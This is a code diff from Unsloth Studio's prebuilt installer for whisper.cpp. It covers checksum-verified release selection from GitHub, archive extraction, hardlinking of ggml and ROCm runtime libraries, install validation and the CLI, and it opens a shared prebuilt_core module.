+) -> tuple[ReleaseBundle, dict[str, str]] | None:
+    return core.resolve_release_via_download_host(_OPS, repo, published_release_tag)
+
+
+# ── Archive extraction (core's guarded extractor + tar exec-bit restore) ──
+def extract_archive(archive_path: Path, destination: Path) -> None:
+    """Shared guarded extraction, then restore tar exec bits (the extractor writes
+    plain files; whisper-server must stay executable)."""
+    core.extract_archive(archive_path, destination)
+    core.restore_tar_exec_bits(archive_path, destination)
+
+
+# ── Install layout ──
+def server_binary_name(host: HostInfo) -> str:
+    return "whisper-server.exe" if host.is_windows else "whisper-server"
+
+
+def runtime_bin_dir(install_dir: Path, host: HostInfo) -> Path:
+    """Canonical directory holding whisper-server + its co-located libs."""
+    if host.is_windows:
+        return install_dir / "build" / "bin" / "Release"
+    return install_dir / "build" / "bin"
+
+
+def whisper_server_path(install_dir: Path, host: HostInfo) -> Path:
+    return runtime_bin_dir(install_dir, host) / server_binary_name(host)
+
+
+def installed_server_path(install_dir: Path, host: HostInfo) -> Path:
+    return whisper_server_path(install_dir, host)
+
+
+def _locate_server_in_tree(root: Path, host: HostInfo) -> Path:
+    return core.locate_server_in_tree(_OPS, root, host)
+
+
+def locate_server_in_tree(root: Path, host: HostInfo) -> Path:
+    return _locate_server_in_tree(root, host)
+
+
+def _assemble_install_tree(bundle_root: Path, staged_root: Path, host: HostInfo) -> Path:
+    """Lay out staged_root as a full install: build/bin/<server + libs>.
+
+    Everything beside the server in the archive (shared libs, backend kernel
+    subdirs, license/build-info) is co-located into the canonical bin dir so the
+    server's RUNPATH=$ORIGIN resolves its libs.
+    """
+    bin_dir = runtime_bin_dir(staged_root, host)
+    bin_dir.mkdir(parents = True, exist_ok = True)
+    for entry in sorted(bundle_root.iterdir()):
+        if entry.name == METADATA_FILENAME:
+            continue
+        dest = bin_dir / entry.name
+        if entry.is_dir() and not entry.is_symlink():
+            shutil.copytree(entry, dest, symlinks = True)
+        else:
+            shutil.copy2(entry, dest, follow_symlinks = False)
+    server = bin_dir / server_binary_name(host)
+    if not server.exists():
+        raise PrebuiltFallback("staged install is missing the whisper-server binary")
+    if not host.is_windows:
+        os.chmod(server, server.stat().st_mode | 0o111)
+    return server
+
+
+def assemble_install_tree(bundle_root: Path, staged_root: Path, host: HostInfo) -> Path:
+    return _assemble_install_tree(bundle_root, staged_root, host)
+
+
+def _validate_staged_server(staged_root: Path, host: HostInfo) -> None:
+    """Optional pre-activate smoke test. Gated off by default (see the switch)."""
+    if not _RUN_STAGED_PREBUILT_VALIDATION:
+        return
+    server = whisper_server_path(staged_root, host)
+    env = os.environ.copy()
+    bin_dir = str(runtime_bin_dir(staged_root, host))
+    for var in ("LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH"):
+        env[var] = bin_dir + (os.pathsep + env[var] if env.get(var) else "")
+    try:
+        result = subprocess.run(
+            [str(server), "--help"],
+            capture_output = True,
+            text = True,
+            timeout = 60,
+            env = env,
+            **llama.windows_hidden_subprocess_kwargs(),
+        )
+    except (OSError, subprocess.SubprocessError) as exc:
+        raise PrebuiltFallback(f"staged whisper-server failed to launch: {exc}") from exc
+    if result.returncode != 0:
+        raise PrebuiltFallback(
+            f"staged whisper-server --help exited {result.returncode}: {result.stderr.strip()}"
+        )
+
+
+def validate_staged_server(staged_root: Path, host: HostInfo) -> None:
+    _validate_staged_server(staged_root, host)
+
+
+# ── Slim install wiring (llama ggml runtime into the whisper bin dir) ──
+def _elf_needed(path: Path) -> set[str] | None:
+    """Read ELF DT_NEEDED names when a standard inspection tool is available."""
+    commands = (("readelf", "-d"), ("objdump", "-p"))
+    for command in commands:
+        try:
+            result = subprocess.run(
+                [*command, str(path)], capture_output = True, text = True, timeout = 10
+            )
+        except (OSError, subprocess.SubprocessError):
+            continue
+        if result.returncode != 0:
+            continue
+        needed: set[str] = set()
+        for line in result.stdout.splitlines():
+            match = re.search(r"\(NEEDED\).*\[([^]]+)\]", line)
+            if match:
+                needed.add(match.group(1))
+                continue
+            match = re.match(r"\s*NEEDED\s+(\S+)", line)
+            if match:
+                needed.add(match.group(1))
+        return needed
+    return None
+
+
+def _runtime_library_sources(llama_bin_dir: Path, backend: str | None) -> list[Path]:
+    patterns = list(SLIM_GGML_LIBRARY_GLOBS)
+    sources = {
+        path for pattern in patterns for path in llama_bin_dir.glob(pattern) if path.is_file()
+    }
+    if backend == "rocm":
+        # Windows llama HIP/ROCm prebuilts use a flat *.dll runtime overlay.
+        # Mirror that complete no-SDK closure, not only filenames containing
+        # ggml, hip, or roc: transitive runtime DLLs can have unrelated names.
+        windows_dlls = {path for path in llama_bin_dir.glob("*.dll") if path.is_file()}
+        if windows_dlls:
+            sources.update(windows_dlls)
+            return sorted(sources)
+
+        # Linux can inspect DT_NEEDED and copy the exact packaged closure. Fall
+        # back to the ROCm globs only when standard ELF tools are unavailable.
+        by_name = {path.name: path for path in llama_bin_dir.iterdir() if path.is_file()}
+        pending = list(sources)
+        inspected_hip = False
+        system_libraries = {
+            "libc.so.6",
+            "libdl.so.2",
+            "libgcc_s.so.1",
+            "libm.so.6",
+            "libpthread.so.0",
+            "librt.so.1",
+            "libstdc++.so.6",
+        }
+        while pending:
+            source = pending.pop()
+            needed = _elf_needed(source)
+            if needed is None:
+                continue
+            if source.name.startswith("libggml-hip"):
+                inspected_hip = True
+            for name in needed - system_libraries:
+                dependency = by_name.get(name)
+                if dependency is not None and dependency not in sources:
+                    sources.add(dependency)
+                    pending.append(dependency)
+        if not inspected_hip:
+            sources.update(
+                path
+                for pattern in SLIM_ROCM_LIBRARY_GLOBS
+                for path in llama_bin_dir.glob(pattern)
+                if path.is_file()
+            )
+    return sorted(sources)
+
+
+def _link_or_copy(source: Path, destination: Path) -> None:
+    destination.parent.mkdir(parents = True, exist_ok = True)
+    if destination.exists() or destination.is_symlink():
+        destination.unlink()
+    try:
+        os.link(source, destination)
+    except OSError:
+        shutil.copy2(source, destination)
+
+
+def link_ggml_runtime(
+    llama_bin_dir: Path,
+    whisper_bin_dir: Path,
+    *,
+    backend: str | None = None,
+) -> list[str]:
+    """Hardlink every ggml library from the llama runtime into the whisper bin
+    dir; returns the wired filenames (sorted) for the marker / sidecar launch guard.
+
+    Hardlinks (not symlinks) on purpose: when the llama updater atomically swaps
+    its install dir, the old inodes stay alive under these links, so a
+    not-yet-updated whisper keeps running the exact ggml build it was installed
+    against. Falls back to a copy where linking is unsupported or crosses devices.
+    Re-run on every install/update so the links track the current pairing.
+    """
+    sources = _runtime_library_sources(llama_bin_dir, backend)
+    if not any(source.name.startswith(("libggml", "ggml")) for source in sources):
+        raise PrebuiltFallback(
+            f"no ggml libraries found in {llama_bin_dir} to pair the slim whisper install"
+        )
+    whisper_bin_dir.mkdir(parents = True, exist_ok = True)
+    for source in sources:
+        # Follows a libggml.so.0 -> libggml.so.0.x symlink to its inode, so every
+        # created name is a real hardlink surviving a dir swap.
+        _link_or_copy(source, whisper_bin_dir / source.name)
+    return [source.name for source in sources]
+
+
+def link_runtime_directories(
+    llama_bin_dir: Path, whisper_bin_dir: Path, *, backend: str, host: HostInfo
+) -> list[str]:
+    """Mirror GPU kernel catalogs that packaged ROCm libraries load at runtime."""
+    # Windows ROCm prebuilts are a flat DLL overlay. The hipblaslt/rocblas
+    # catalog directories are part of the Linux ROCm bundle layout only.
+    if backend != "rocm" or host.is_windows:
+        return []
+    linked: list[str] = []
+    for name in SLIM_ROCM_RUNTIME_DIRS:
+        source_root = llama_bin_dir / name
+        if not source_root.is_dir():
+            raise PrebuiltFallback(f"paired ROCm runtime is missing its {name} kernel catalog")
+        files = [path for path in source_root.rglob("*") if path.is_file()]
+        if not files:
+            raise PrebuiltFallback(f"paired ROCm runtime has an empty {name} kernel catalog")
+        for source in files:
+            _link_or_copy(source, whisper_bin_dir / name / source.relative_to(source_root))
+        linked.append(name)
+    return linked
+
+
+def prepare_runtime_payload(staged_root: Path, host: HostInfo, selection: Any) -> Any:
+    """Slim installs wire the paired llama ggml runtime into the staged bin dir
+    before validation so the activated tree is self-contained; the returned
+    selection carries the wired filenames for the marker. Fat installs need
+    nothing (the archive carries its ggml) and return None."""
+    if getattr(selection, "install_kind", None) != "slim" or not selection.linked_from:
+        return None
+    source = Path(selection.linked_from)
+    destination = runtime_bin_dir(staged_root, host)
+    linked = link_ggml_runtime(source, destination, backend = selection.backend)
+    linked_dirs = link_runtime_directories(
+        source,
+        destination,
+        backend = selection.backend,
+        host = host,
+    )
+    log(f"slim install: hardlinked {len(linked)} ggml libraries from {selection.linked_from}")
+    return replace(
+        selection,
+        linked_libraries = tuple(linked),
+        runtime_wiring_version = SLIM_RUNTIME_WIRING_VERSION,
+        linked_runtime_directories = tuple(linked_dirs),
+    )
+
+
+# ── Metadata / marker ──
+def metadata_path(install_dir: Path) -> Path:
+    return install_dir / METADATA_FILENAME
+
+
+def selection_from_artifact(
+    *,
+    published_repo: str,
+    release_tag: str,
+    manifest: dict[str, Any],
+    artifact: dict[str, Any],
+    backend: str,
+    asset_sha256: str,
+) -> InstallSelection:
+    selection = core.selection_from_artifact(
+        _OPS,
+        published_repo = published_repo,
+        release_tag = release_tag,
+        manifest = manifest,
+        artifact = artifact,
+        backend = backend,
+        asset_sha256 = asset_sha256,
+    )
+    if artifact.get("install_kind") != "slim":
+        return selection
+    # A slim selection carries its pairing so the install wiring and marker know
+    # which llama runtime provides the ggml libraries.
+    runtime = installed_llama_runtime()
+    if runtime is None or runtime[1] != artifact.get("requires_llama_tag"):
+        raise PrebuiltFallback(
+            "the paired llama.cpp runtime changed underneath the slim whisper selection"
+        )
+    llama_bin_dir, llama_tag, _profile = runtime
+    return replace(
+        selection,
+        install_kind = "slim",
+        paired_llama_tag = llama_tag,
+        linked_from = str(llama_bin_dir),
+    )
+
+
+def write_prebuilt_metadata(install_dir: Path, selection: InstallSelection) -> None:
+    core.write_prebuilt_metadata(_OPS, install_dir, selection)
+
+
+def load_whisper_prebuilt_metadata(install_dir: Path) -> dict[str, Any] | None:
+    return core.load_prebuilt_metadata(_OPS, install_dir)
+
+
+def load_prebuilt_metadata(install_dir: Path) -> dict[str, Any] | None:
+    return load_whisper_prebuilt_metadata(install_dir)
+
+
+def existing_install_matches(
+    install_dir: Path, host: HostInfo, selection: InstallSelection
+) -> bool:
+    """Core fingerprint match, hardened for repairability: a marker-matching
+    install is only "current" when the server is executable (the sidecar refuses
+    non-executable binaries, so setup must repair not skip) and, for slim
+    installs, every wired ggml library is still present (else a deleted/moved
+    llama dir leaves dictation broken while update reports up to date)."""
+    if not core.existing_install_matches(_OPS, install_dir, host, selection):
+        return False
+    server = installed_server_path(install_dir, host)
+    if not host.is_windows and not os.access(server, os.X_OK):
+        log(f"existing install at {install_dir} has a non-executable server; reinstalling")
+        return False
+    marker = load_prebuilt_metadata(install_dir) or {}
+    if marker.get("install_kind") == "slim":
+        bin_dir = server.parent
+        if marker.get("runtime_wiring_version") != SLIM_RUNTIME_WIRING_VERSION:
+            log(f"existing slim install at {install_dir} has stale runtime wiring; reinstalling")
+            return False
+        linked_libraries = marker.get("linked_libraries")
+        if (
+            not isinstance(linked_libraries, list)
+            or not linked_libraries
+            or not all(
+                isinstance(name, str) and name and Path(name).name == name
+                for name in linked_libraries
+            )
+        ):
+            log(f"existing slim install at {install_dir} has invalid runtime wiring; reinstalling")
+            return False
+        missing = [name for name in linked_libraries if not (bin_dir / name).is_file()]
+        if missing:
+            log(
+                f"existing slim install at {install_dir} is missing wired ggml "
+                f"libraries ({', '.join(missing[:4])}); reinstalling"
+            )
+            return False
+        runtime_dirs = marker.get("linked_runtime_directories")
+        if (
+            marker.get("backend") == "rocm"
+            and not host.is_windows
+            and (
+                not isinstance(runtime_dirs, list)
+                or set(runtime_dirs) != set(SLIM_ROCM_RUNTIME_DIRS)
+            )
+        ):
+            log(f"existing ROCm install at {install_dir} lacks kernel catalogs; reinstalling")
+            return False
+        missing_dirs = [
+            name
+            for name in runtime_dirs or []
+            if not isinstance(name, str)
+            or not (bin_dir / name).is_dir()
+            or not any(path.is_file() for path in (bin_dir / name).rglob("*"))
+        ]
+        if missing_dirs:
+            log(
+                f"existing slim install at {install_dir} is missing runtime directories "
+                f"({', '.join(str(name) for name in missing_dirs[:4])}); reinstalling"
+            )
+            return False
+    return True
+
+
+# ── Orchestration ──
+def resolve_newest_release_tag(repo: str) -> str:
+    return core.resolve_newest_release_tag(_OPS, repo)
+
+
+def resolve_release_tag(published_repo: str, *, published_release_tag: str | None) -> str:
+    return core.resolve_release_tag(
+        _OPS, published_repo, published_release_tag = published_release_tag
+    )
+
+
+def fetch_release_for_install(
+    repo: str, *, published_release_tag: str | None
+) -> tuple[ReleaseBundle, dict[str, str]]:
+    return core.fetch_release_for_install(_OPS, repo, published_release_tag = published_release_tag)
+
+
+@dataclass(frozen = True)
+class WhisperReleasePlan:
+    bundle: ReleaseBundle
+    selection: InstallSelection | None
+    artifact: dict[str, Any]
+    resolved_backend: str
+    used_fallback: bool
+
+
+def _normalized_upstream_tag(value: str) -> str:
+    value = value.strip()
+    return value[1:] if value[:1].lower() == "v" else value
+
+
+def _bundle_matches_whisper_tag(bundle: ReleaseBundle, whisper_tag: str) -> bool:
+    requested = whisper_tag.strip()
+    if not requested or requested.lower() == "latest":
+        return True
+    upstream = bundle.manifest.get("upstream_tag")
+    return isinstance(upstream, str) and _normalized_upstream_tag(
+        upstream
+    ) == _normalized_upstream_tag(requested)
+
+
+def _published_release_tags(repo: str) -> list[str]:
+    """Published release tags in newest-first order for compatibility search."""
+    payload = fetch_json(f"https://api.github.com/repos/{repo}/releases?per_page=100")
+    if not isinstance(payload, list):
+        raise PrebuiltFallback(f"unexpected releases payload for {repo}")
+    releases = [
+        release
+        for release in payload
+        if isinstance(release, dict)
+        and not release.get("draft")
+        and not release.get("prerelease")
+        and isinstance(release.get("tag_name"), str)
+        and release.get("tag_name")
+    ]
+    releases.sort(key = lambda release: release.get("published_at") or "", reverse = True)
+    return [str(release["tag_name"]) for release in releases]
+
+
+def _fetch_release_candidate(repo: str, release_tag: str) -> ReleaseBundle:
+    """Fetch one candidate manifest by its deterministic download-host URL."""
+    manifest_url = release_asset_download_url(repo, release_tag, MANIFEST_ASSET_NAME)
+    try:
+        payload = _download_host_json(manifest_url)
+        manifest = parse_manifest(payload, label = f"{MANIFEST_ASSET_NAME} in {repo}@{release_tag}")
+    except Exception as exc:
+        raise PrebuiltFallback(
+            f"could not read {MANIFEST_ASSET_NAME} from {repo}@{release_tag}: {exc}"
+        ) from exc
+    asset_names = {MANIFEST_ASSET_NAME, SHA256_ASSET_NAME}
+    asset_names.update(
+        str(artifact["asset"])
+        for artifact in manifest.get("artifacts", [])
+        if isinstance(artifact, dict) and artifact.get("asset")
+    )
+    asset_urls = {name: release_asset_download_url(repo, release_tag, name) for name in asset_names}
+    return ReleaseBundle(
+        repo = repo,
+        release_tag = release_tag,
+        manifest = manifest,
+        asset_urls = asset_urls,
+    )
+
+
+def _plan_bundle(
+    host: HostInfo,
+    bundle: ReleaseBundle,
+    checksums: dict[str, str],
+    *,
+    published_repo: str,
+    requested_backend: str,
+    verify_checksums: bool,
+) -> WhisperReleasePlan:
+    artifact, resolved_backend, used_fallback = select_artifact_with_cpu_fallback(
+        bundle.manifest, host, requested_backend
+    )
+    selection = (
+        plan_selection(
+            host,
+            bundle,
+            published_repo = published_repo,
+            backend = requested_backend,
+            checksums = checksums,
+        )
+        if verify_checksums
+        else None
+    )
+    return WhisperReleasePlan(
+        bundle = bundle,
+        selection = selection,
+        artifact = artifact,
+        resolved_backend = resolved_backend,
+        used_fallback = used_fallback,
+    )
+
+
+def _release_plan_for_host(
+    host: HostInfo,
+    *,
+    published_repo: str,
+    published_release_tag: str | None,
+    whisper_tag: str,
+    requested_backend: str,
+    verify_checksums: bool = True,
+) -> WhisperReleasePlan:
+    """Select the requested or newest host-compatible published release.
+
+    Explicit published release pins never walk. An upstream ``whisper_tag``
+    searches published manifests for that exact upstream version. An unpinned
+    macOS install may walk older published releases only when the newest
+    manifest has no host-compatible artifact. Checksum and archive failures are
+    outside this search and remain hard failures.
+    """
+    requested_specific_tag = whisper_tag.strip().lower() not in ("", "latest")
+    first_bundle: ReleaseBundle | None = None
+    first_error: PrebuiltFallback | None = None
+    # An upstream version pin searches manifests directly. It must not depend
+    # on the unrelated newest release or its checksum index being healthy.
+    if not requested_specific_tag or published_release_tag:
+        first_bundle, first_checksums = fetch_release_for_install(
+            published_repo, published_release_tag = published_release_tag
+        )
+        if not _bundle_matches_whisper_tag(first_bundle, whisper_tag):
+            first_error = PrebuiltFallback(
+                f"{published_repo}@{first_bundle.release_tag} targets whisper.cpp "
+                f"{first_bundle.manifest.get('upstream_tag')}, not requested {whisper_tag}"
+            )
+        else:
+            try:
+                select_artifact_with_cpu_fallback(first_bundle.manifest, host, requested_backend)
+            except PrebuiltFallback as exc:
+                first_error = exc
+            else:
+                # Integrity validation happens only after compatibility succeeds.
+                # Its failures are never eligible for release walkback.
+                return _plan_bundle(
+                    host,
+                    first_bundle,
+                    first_checksums,
+                    published_repo = published_repo,
+                    requested_backend = requested_backend,
+                    verify_checksums = verify_checksums,
+                )
+
+    if published_release_tag:
+        assert first_error is not None
+        raise first_error
+
+    if not requested_specific_tag and not host.is_macos:
+        assert first_error is not None
+        raise first_error
+
+    for release_tag in _published_release_tags(published_repo):
+        if first_bundle is not None and release_tag == first_bundle.release_tag:
+            continue
+        try:
+            bundle = _fetch_release_candidate(published_repo, release_tag)
+        except PrebuiltFallback:
+            continue
+        if not _bundle_matches_whisper_tag(bundle, whisper_tag):
+            continue
+        try:
+            # Establish host compatibility before fetching or trusting this
+            # candidate's checksum index. Once selected, integrity failures must
+            # stop the install rather than silently downgrade again.
+            select_artifact_with_cpu_fallback(bundle.manifest, host, requested_backend)
+        except PrebuiltFallback:
+            continue
+        checksums = fetch_release_checksums(bundle) if verify_checksums else {}
+        plan = _plan_bundle(
+            host,
+            bundle,
+            checksums,
+            published_repo = published_repo,
+            requested_backend = requested_backend,
+            verify_checksums = verify_checksums,
+        )
+        log(
+            f"selected compatible published release {bundle.release_tag} "
+            f"(upstream {bundle.manifest.get('upstream_tag')})"
+        )
+        return plan
+
+    if requested_specific_tag:
+        raise PrebuiltFallback(
+            f"no published {COMPONENT} release for upstream tag {whisper_tag} supports this host"
+        )
+    assert first_error is not None
+    raise first_error
+
+
+def _install_from_bundle(
+    install_dir: Path, host: HostInfo, bundle: ReleaseBundle, selection: InstallSelection
+) -> None:
+    core.install_from_bundle(_OPS, install_dir, host, bundle, selection)
+
+
+def plan_selection(
+    host: HostInfo,
+    bundle: ReleaseBundle,
+    *,
+    published_repo: str,
+    backend: str,
+    checksums: dict[str, str],
+) -> InstallSelection:
+    return core.plan_selection(
+        _OPS,
+        host,
+        bundle,
+        published_repo = published_repo,
+        backend = backend,
+        checksums = checksums,
+    )
+
+
+def install_prebuilt(
+    install_dir: Path,
+    *,
+    whisper_tag: str = "latest",
+    published_repo: str = DEFAULT_PUBLISHED_REPO,
+    published_release_tag: str | None = None,
+    backend: str | None = "auto",
+    has_rocm: bool = False,
+    rocm_gfx: str | None = None,
+    cpu_fallback: bool = False,
+    force: bool = False,
+) -> int:
+    host = apply_host_overrides(
+        detect_host(), has_rocm = has_rocm, rocm_gfx = rocm_gfx, force_cpu = cpu_fallback
+    )
+    requested_backend = resolve_backend(host, backend, cpu_fallback = cpu_fallback)
+    os_token, arch_token = host_platform_tokens(host)
+    log(
+        f"target {COMPONENT} from {published_repo} "
+        f"({os_token}-{arch_token}, backend {requested_backend})"
+    )
+    plan = _release_plan_for_host(
+        host,
+        published_repo = published_repo,
+        published_release_tag = published_release_tag,
+        whisper_tag = whisper_tag,
+        requested_backend = requested_backend,
+    )
+    if plan.selection is None:  # pragma: no cover - install plans always verify
+        raise PrebuiltFallback("install plan did not validate its checksum entry")
+    return core.install_selected_prebuilt(
+        _OPS,
+        install_dir,
+        host = host,
+        bundle = plan.bundle,
+        selection = plan.selection,
+        force = force,
+    )
+
+
+def resolver_payload_extra(artifact: dict[str, Any]) -> dict[str, Any]:
+    """Additive --resolve-prebuilt field: whether the selected asset installs
+    slim (paired with the llama ggml runtime) or fat (self-contained)."""
+    return {"install_kind": "slim" if artifact.get("install_kind") == "slim" else "fat"}
+
+
+def resolve_prebuilt(
+    host: HostInfo,
+    *,
+    published_repo: str,
+    published_release_tag: str | None,
+    whisper_tag: str = "latest",
+    backend: str | None,
+    cpu_fallback: bool,
+) -> dict[str, Any]:
+    requested_backend = resolve_backend(host, backend, cpu_fallback = cpu_fallback)
+    try:
+        plan = _release_plan_for_host(
+            host,
+            published_repo = published_repo,
+            published_release_tag = published_release_tag,
+            whisper_tag = whisper_tag,
+            requested_backend = requested_backend,
+            verify_checksums = False,
+        )
+    except PrebuiltFallback:
+        return {"prebuilt_available": False, "repo": published_repo}
+    os_token, arch_token = host_platform_tokens(host)
+    payload = {
+        "prebuilt_available": True,
+        "repo": published_repo,
+        "release_tag": plan.bundle.release_tag,
+        "upstream_tag": plan.bundle.manifest.get("upstream_tag"),
+        "backend": plan.resolved_backend,
+        "requested_backend": requested_backend,
+        "cpu_fallback": plan.used_fallback,
+        "asset": str(plan.artifact.get("asset")),
+        "os": os_token,
+        "arch": arch_token,
+        "runtime_line": plan.artifact.get("runtime_line"),
+    }
+    payload.update(resolver_payload_extra(plan.artifact))
+    return payload
+
+
+# The whisper component descriptor: the declarative form of everything above,
+# for descriptor-driven consumers (shared tests, future tooling). The shipped CLI
+# runs through this module's wrappers so monkeypatch seams stay intact.
+DESCRIPTOR = core.ComponentDescriptor(
+    component = COMPONENT,
+    log_prefix = "whisper-prebuilt",
+    published_repo = DEFAULT_PUBLISHED_REPO,
+    manifest_asset_name = MANIFEST_ASSET_NAME,
+    sha256_asset_name = SHA256_ASSET_NAME,
+    metadata_filename = METADATA_FILENAME,
+    user_agent = USER_AGENT,
+    supported_backends = SUPPORTED_BACKENDS,
+    schema_version = SCHEMA_VERSION,
+    fallback_backend = FALLBACK_BACKEND,
+    detect_host = detect_host,
+    host_platform_tokens = host_platform_tokens,
+    server_binary_name = server_binary_name,
+    runtime_bin_dir = runtime_bin_dir,
+)
+
+
+def build_arg_parser() -> argparse.ArgumentParser:
+    parser = argparse.ArgumentParser(
+        description = "Install a prebuilt whisper.cpp (whisper-server) for Unsloth Studio"
+    )
+    parser.add_argument(
+        "--install-dir",
+        default = None,
+        help = (
+            "managed whisper.cpp directory, e.g. <UNSLOTH_HOME>/whisper.cpp. Required for an "
+            "install; omit it only with --resolve-prebuilt (a read-only probe)."
+        ),
+    )
+    parser.add_argument(
+        "--whisper-tag",
+        default = os.environ.get("UNSLOTH_WHISPER_TAG", "latest"),
+        help = "upstream whisper.cpp tag hint (default 'latest' or $UNSLOTH_WHISPER_TAG)",
+    )
+    parser.add_argument(
+        "--published-repo",
+        default = DEFAULT_PUBLISHED_REPO,
+        help = f"GitHub repo publishing the prebuilt releases (default {DEFAULT_PUBLISHED_REPO})",
+    )
+    parser.add_argument(
+        "--published-release-tag",
+        default = os.environ.get("UNSLOTH_WHISPER_RELEASE_TAG") or None,
+        help = "explicit release tag to install (default: the newest published release)",
+    )
+    parser.add_argument(
+        "--backend",
+        default = os.environ.get("UNSLOTH_WHISPER_BACKEND", "auto"),
+        choices = ("auto", *SUPPORTED_BACKENDS),
+        help = "accelerator backend; 'auto' detects from hardware",
+    )
+    parser.add_argument("--has-rocm", action = "store_true", help = "treat this host as ROCm-capable")
+    parser.add_argument("--rocm-gfx", default = None, help = "ROCm gfx target override, e.g. gfx1100")
+    parser.add_argument(
+        "--cpu-fallback", action = "store_true", help = "force the CPU asset regardless of hardware"
+    )
+    parser.add_argument(
+        "--resolve-prebuilt",
+        nargs = "?",
+        const = "latest",
+        default = None,
+        help = "report whether a prebuilt exists for this host without downloading",
+    )
+    parser.add_argument(
+        "--output-format",
+        choices = ("plain", "json"),
+        default = "plain",
+        help = "resolver output format (default plain)",
+    )
+    parser.add_argument(
+        "--force", action = "store_true", help = "reinstall even if the install already matches"
+    )
+    return parser
+
+
+def main(argv: list[str] | None = None) -> int:
+    global _LOG_TO_STDOUT
+    parser = build_arg_parser()
+    args = parser.parse_args(argv)
+
+    if args.resolve_prebuilt is not None:
+        # Read-only probe: stdout is only the JSON/asset line (setup.sh and
+        # whisper_cpp_update.py parse it), so force diagnostics to stderr and map
+        # any failure to "not available" rather than a traceback.
+        _LOG_TO_STDOUT = False
+        try:
+            host = apply_host_overrides(
+                detect_host(),
+                has_rocm = args.has_rocm,
+                rocm_gfx = args.rocm_gfx,
+                force_cpu = args.cpu_fallback,
+            )
+            payload = resolve_prebuilt(
+                host,
+                published_repo = args.published_repo,
+                published_release_tag = args.published_release_tag,
+                whisper_tag = args.resolve_prebuilt,
+                backend = args.backend,
+                cpu_fallback = args.cpu_fallback,
+            )
+        except PrebuiltFallback:
+            payload = {"prebuilt_available": False, "repo": args.published_repo}
+        except Exception as exc:  # noqa: BLE001 - probe must never crash the caller
+            log(f"resolve failed: {exc}")
+            payload = {"prebuilt_available": False, "repo": args.published_repo}
+        emit_resolver_output(payload, output_format = args.output_format)
+        return EXIT_SUCCESS
+
+    # Install path: progress logs go to stdout so setup surfaces them.
+    _LOG_TO_STDOUT = True
+
+    if not args.install_dir:
+        parser.error("--install-dir is required unless --resolve-prebuilt is used")
+    install_dir = Path(args.install_dir).expanduser().resolve()
+    try:
+        return install_prebuilt(
+            install_dir,
+            whisper_tag = args.whisper_tag,
+            published_repo = args.published_repo,
+            published_release_tag = args.published_release_tag,
+            backend = args.backend,
+            has_rocm = args.has_rocm,
+            rocm_gfx = args.rocm_gfx,
+            cpu_fallback = args.cpu_fallback,
+            force = args.force,
+        )
+    except BusyInstallConflict as exc:
+        log(str(exc))
+        return EXIT_BUSY
+    except ReleaseCompatibilityError as exc:
+        log(f"incompatible release: {exc}")
+        return EXIT_INCOMPATIBLE
+    except PrebuiltFallback as exc:
+        log(f"prebuilt install failed: {exc}")
+        return EXIT_ERROR
+    except Exception as exc:  # noqa: BLE001
+        log(f"unexpected error: {exc}")
+        return EXIT_ERROR
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())
diff --git a/studio/prebuilt_core.py b/studio/prebuilt_core.py
new file mode 100644
index 0000000000..5dc85af1c2
--- /dev/null
+++ b/studio/prebuilt_core.py
@@ -0,0 +1,2427 @@
+#!/usr/bin/env python3
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Component-agnostic machinery shared by the ggml-family prebuilt installers.
+
+``install_llama_prebuilt.py`` and ``install_whisper_prebuilt.py`` both run on
+this module, which owns two layers:
+
+1. Primitives: HTTP fetches with retries and token-safe redirects, verified
+   downloads, safe archive extraction, the install lock, sha256 helpers, and
+   CUDA runtime-line / compute-capability selection. Moved verbatim out of
+   ``install_llama_prebuilt.py``, which re-exports them under their old names.
+
+2. The generic descriptor-driven install flow: release resolution (download
+   host fast path, GitHub API fallback), checksum-index parsing, coverage-aware
+   artifact selection, verified download + extraction + staged atomic
+   activation, marker/fingerprint handling, and the resolve probe. Whisper runs
+   entirely on this flow; a third component plugs in with a ``ComponentDescriptor``.
+
+Seam rule: every function calling a collaborator tests monkeypatch takes an
+``ops`` handle first. ``ops`` resolves names in the calling installer module's
+globals first (so a ``monkeypatch.setattr`` still wins) and falls back to this
+module's defaults, letting a descriptor-only component work with no installer
+module behind it.
+"""
+
+from __future__ import annotations
+
+import errno
+import functools
+import hashlib
+import json
+import os
+import random
+import re
+import shutil
+import socket
+import subprocess
+import sys
+import tarfile
+import tempfile
+import time
+import urllib.error
+import urllib.parse
+import urllib.request
+import zipfile
+from contextlib import contextmanager
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Any, Callable, Iterable, Iterator
+
+try:
+    from filelock import FileLock, Timeout as FileLockTimeout
+except ImportError:
+    FileLock = None
+    FileLockTimeout = None
+
+
+class PrebuiltFallback(RuntimeError):
+    pass
+
+
+class BusyInstallConflict(RuntimeError):
+    pass
+
+
+# ── Defaults a component module may override via its own globals ──
+USER_AGENT = "unsloth-studio-prebuilt"
+GITHUB_AUTH_HOSTS = {"api.github.com", "github.com"}
+HF_AUTH_HOSTS = {"huggingface.co", "www.huggingface.co"}
+RETRYABLE_HTTP_STATUS = {408, 429, 500, 502, 503, 504}
+HTTP_FETCH_ATTEMPTS = 4
+HTTP_FETCH_BASE_DELAY_SECONDS = 0.75
+JSON_FETCH_ATTEMPTS = 3
+TTY_PROGRESS_START_DELAY_SECONDS = 0.5
+INSTALL_LOCK_TIMEOUT_SECONDS = 300
+INSTALL_STAGING_ROOT_NAME = ".staging"
+SCHEMA_VERSION = 1
+# Backend to retry when the preferred one has no covering asset; None disables it.
+FALLBACK_BACKEND: str | None = "cpu"
+_RATE_LIMIT_WAIT_CAP_SECONDS = 60.0
+
+# Lowest CUDA major we ship prebuilts for, and highest we probe for installed
+# runtime libraries. Detection and runtime-line derivation are generated per
+# major, so a new toolkit (cuda14, ...) needs no code change while ggml keeps
+# the cudart64_<major>.dll / libcudart.so.<major> naming.
+_MIN_CUDA_MAJOR = 12
+_MAX_PROBE_CUDA_MAJOR = 19
+
+# Blackwell floor is sm_100 (B100/B200 sm_100, B300/GB300 sm_103 below consumer
+# RTX 50 sm_120); the family needs toolkit >= 12.8, sm_103/sm_121 need 12.9.
+_BLACKWELL_MIN_SM = 100
+_BLACKWELL_MIN_TOOLKIT = (12, 8)
+_BLACKWELL_SM_MIN_TOOLKIT = {103: (12, 9), 121: (12, 9)}
+
+
+def log(message: str) -> None:
+    print(f"[prebuilt-core] {message}", file = sys.stderr)
+
+
